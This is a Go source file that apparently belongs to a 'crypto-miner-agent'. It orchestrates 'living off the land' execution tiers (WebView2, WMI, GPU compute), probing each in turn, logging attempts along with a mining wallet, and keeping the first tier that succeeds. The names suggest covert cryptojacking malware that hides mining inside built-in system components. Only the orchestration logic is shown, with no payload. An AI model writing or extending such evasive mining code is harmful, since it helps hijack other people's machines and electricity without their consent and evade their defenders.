198 lines
4.2 KiB
Go
198 lines
4.2 KiB
Go
package miner
|
|
|
|
import (
|
|
"context"
|
|
"log"
|
|
"runtime"
|
|
"sync"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// TierHandler probes or starts one auxiliary LOTL path (WebView2, WMI, etc.).
|
|
type TierHandler interface {
|
|
Tier() LOTLTier
|
|
Available(cfg config.RuntimeConfig) bool
|
|
Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt
|
|
Stop()
|
|
}
|
|
|
|
// ProbeReporter emits probe-tier snapshots (single-arg; distinct from TierOrchestrator reporter).
|
|
type ProbeReporter func(report TierReport)
|
|
|
|
// TierRunner orchestrates probe/escalation tiers with per-attempt reporting.
|
|
type TierRunner struct {
|
|
mu sync.RWMutex
|
|
cfg config.RuntimeConfig
|
|
handlers []TierHandler
|
|
report ProbeReporter
|
|
attempts []TierAttempt
|
|
active LOTLTier
|
|
stopped []TierHandler
|
|
}
|
|
|
|
// NewTierRunner builds a runner with platform-default handlers.
|
|
func NewTierRunner(cfg config.RuntimeConfig, report ProbeReporter) *TierRunner {
|
|
return &TierRunner{
|
|
cfg: cfg,
|
|
handlers: defaultTierHandlers(),
|
|
report: report,
|
|
}
|
|
}
|
|
|
|
// SetHandlers replaces handlers (tests inject mocks).
|
|
func (r *TierRunner) SetHandlers(h []TierHandler) {
|
|
r.mu.Lock()
|
|
r.handlers = h
|
|
r.mu.Unlock()
|
|
}
|
|
|
|
// Report returns the current tier snapshot.
|
|
func (r *TierRunner) Report() TierReport {
|
|
r.mu.RLock()
|
|
defer r.mu.RUnlock()
|
|
return r.buildReport()
|
|
}
|
|
|
|
func (r *TierRunner) buildReport() TierReport {
|
|
attempts := make([]TierAttempt, len(r.attempts))
|
|
copy(attempts, r.attempts)
|
|
rep := TierReport{
|
|
ActiveTier: r.active,
|
|
Attempts: attempts,
|
|
}
|
|
for _, a := range attempts {
|
|
if a.Tier == TierWebView2Probe && a.OK {
|
|
if v, ok := a.Details["webgpu_available"].(bool); ok {
|
|
rep.WebGPUReady = v
|
|
}
|
|
}
|
|
if a.Tier == TierGPUCompute && a.OK {
|
|
rep.GPUComputeOK = true
|
|
}
|
|
}
|
|
return rep
|
|
}
|
|
|
|
func (r *TierRunner) emit() {
|
|
r.mu.RLock()
|
|
rep := r.buildReport()
|
|
report := r.report
|
|
r.mu.RUnlock()
|
|
if report != nil {
|
|
report(rep)
|
|
}
|
|
}
|
|
|
|
func (r *TierRunner) recordAttempt(a TierAttempt) {
|
|
r.mu.Lock()
|
|
r.attempts = append(r.attempts, a)
|
|
if a.OK && r.active == "" && a.Tier != TierWebView2Probe {
|
|
r.active = a.Tier
|
|
}
|
|
r.mu.Unlock()
|
|
log.Printf("[tier] %s ok=%v err=%q duration=%dms", a.Tier, a.OK, a.Error, a.DurationMs)
|
|
r.emit()
|
|
}
|
|
|
|
// RunProbes executes probe-only tiers (webview2) before GPU escalation.
|
|
func (r *TierRunner) RunProbes(ctx context.Context) TierReport {
|
|
r.mu.RLock()
|
|
handlers := r.handlers
|
|
cfg := r.cfg
|
|
r.mu.RUnlock()
|
|
|
|
for _, h := range handlers {
|
|
if h.Tier() != TierWebView2Probe {
|
|
continue
|
|
}
|
|
if !h.Available(cfg) {
|
|
r.recordAttempt(TierAttempt{
|
|
Tier: TierWebView2Probe,
|
|
Error: "webview2 runtime not detected",
|
|
Wallet: cfg.Wallet,
|
|
})
|
|
continue
|
|
}
|
|
start := time.Now()
|
|
a := h.Attempt(ctx, cfg)
|
|
a.DurationMs = time.Since(start).Milliseconds()
|
|
if a.Wallet == "" {
|
|
a.Wallet = cfg.Wallet
|
|
}
|
|
r.recordAttempt(a)
|
|
}
|
|
return r.Report()
|
|
}
|
|
|
|
// RunChain attempts execution tiers in order; probe tiers are skipped here.
|
|
func (r *TierRunner) RunChain(ctx context.Context) (LOTLTier, error) {
|
|
r.mu.RLock()
|
|
handlers := r.handlers
|
|
cfg := r.cfg
|
|
r.mu.RUnlock()
|
|
|
|
var lastErr error
|
|
for _, h := range handlers {
|
|
t := h.Tier()
|
|
if t == TierWebView2Probe {
|
|
continue
|
|
}
|
|
if !h.Available(cfg) {
|
|
r.recordAttempt(TierAttempt{
|
|
Tier: t,
|
|
Error: "tier unavailable on " + runtime.GOOS,
|
|
Wallet: cfg.Wallet,
|
|
})
|
|
continue
|
|
}
|
|
start := time.Now()
|
|
a := h.Attempt(ctx, cfg)
|
|
a.DurationMs = time.Since(start).Milliseconds()
|
|
if a.Wallet == "" {
|
|
a.Wallet = cfg.Wallet
|
|
}
|
|
r.recordAttempt(a)
|
|
if a.OK {
|
|
r.mu.Lock()
|
|
r.active = t
|
|
r.stopped = append(r.stopped, h)
|
|
r.mu.Unlock()
|
|
r.emit()
|
|
return t, nil
|
|
}
|
|
if a.Error != "" {
|
|
lastErr = errFromTier(a.Error)
|
|
}
|
|
}
|
|
if lastErr != nil {
|
|
return "", lastErr
|
|
}
|
|
return "", ErrTierChainSkipped
|
|
}
|
|
|
|
// WebGPUReady reports whether the webview2 probe found WebGPU.
|
|
func (r *TierRunner) WebGPUReady() bool {
|
|
return r.Report().WebGPUReady
|
|
}
|
|
|
|
// Stop halts all started tier handlers.
|
|
func (r *TierRunner) Stop() {
|
|
r.mu.Lock()
|
|
stopped := r.stopped
|
|
r.active = ""
|
|
r.stopped = nil
|
|
r.mu.Unlock()
|
|
for _, h := range stopped {
|
|
h.Stop()
|
|
}
|
|
r.emit()
|
|
}
|
|
|
|
type tierError string
|
|
|
|
func (e tierError) Error() string { return string(e) }
|
|
|
|
func errFromTier(msg string) error { return tierError(msg) }
|